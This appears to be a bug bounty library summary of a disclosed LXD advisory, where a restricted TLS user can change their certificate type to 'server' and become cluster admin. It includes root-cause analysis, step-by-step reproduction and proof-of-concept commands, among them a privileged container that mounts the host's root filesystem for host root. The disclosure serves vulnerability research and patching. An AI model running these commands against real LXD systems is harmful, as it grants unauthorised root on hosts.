# LXD: Update of type field in restricted TLS certificate allows privilege escalation to cluster admin

Restricted LXD TLS user PATCHes own certificate type from client to server, bypassing the non-admin guard and gaining cluster admin and host root.

- Payout: Research
- Severity: critical
- Program: LXD
- Found by (vendor credit): Miha Purg
- Found by: mpurg
- Disclosed: 2026-04-10
- CVE: CVE-2026-34179
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-c3h3-89qf-jqm5
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-c3h3-89qf-jqm5
- Tags: area:cloud domain:infra impact:privesc impact:rce kind:research platform:ghsa sev:critical tech:go technique:source-review vuln:access-control vuln:privilege-escalation

**Target:** /1.0/certificates/{fingerprint} REST API (doCertificateUpdate)
**Root cause:** The unprivileged-caller guard and the dbCert reset block in doCertificateUpdate validate/reset Restricted, Name and Projects but not Type, so a caller-supplied Type persists to the database.
**Steps:**
1. As admin: `lxc project create poc-restricted -c restricted=true`, add root disk and eth0 nic profile devices, then `lxc config trust add --restricted --projects poc-restricted --name poc-user` and hand the token to the user.
2. As restricted user: `lxc remote add target <token>`; confirm only poc-restricted is visible and `lxc project set target:poc-restricted restricted=false` is denied.
3. Get own fingerprint: `fp=$(lxc query target:/1.0/certificates | jq -r '.[0]')`.
4. Send `lxc query -X PATCH -d '{ "type": "server" }' target:$fp` (or the equivalent PUT with name/restricted/projects/certificate fields).
5. Confirm `lxc config trust list target:` shows type server.
6. Now `lxc project set target:poc-restricted restricted=false` succeeds.
7. Create privileged container: `lxc init ubuntu:24.04 target:privileged -c security.privileged=true`, add `hostfs` disk with `source=/ path=/mnt/host` via `lxc config device add target:privileged hostfs disk source=/ path=/mnt/host`, start it for host root.
**How found:** Code review of doCertificateUpdate: noticed the guard block and the 'reset dbCert to prevent future security issues' block both enumerate Restricted/Name/Projects but omit Type, and that the reset uses caller-supplied reqDBType.
**Exploitation:** A single authenticated PATCH/PUT to the caller's own certificate endpoint flips Type to server; after the identity cache refresh the cert matches as a server certificate and is granted ProtocolCluster with full admin rights, enabling privileged containers and raw.lxc for host root. Persistent and unlogged.
**Escalation:** Server-type cert grants cluster admin, which permits security.privileged=true containers or raw.lxc, yielding root on the host.
**Insight:** When a handler has a 'reset struct to prevent future security issues' block, diff its field list against the full API type — any field omitted from both the guard and the reset (here Type) is attacker-writable; also check whether the reset uses req-derived values instead of db values.

## Proof of concept (copied exactly from the original report)

**PATCH request changing cert type to server**

```
lxc query -X PATCH -d '{ "type": "server" }' target:$fp
```

**PUT request with full cert payload**

```
lxc query -X PUT -d '{ "type": "server", "name": "poc-user", "restricted": true, "projects": ["poc-restricted"], "certificate": "" }' target:$fp
```

**Privileged container escape after escalation**

```
lxc init ubuntu:24.04 target:privileged -c security.privileged=true
lxc config device add target:privileged hostfs disk source=/ path=/mnt/host
lxc start target:privileged
```

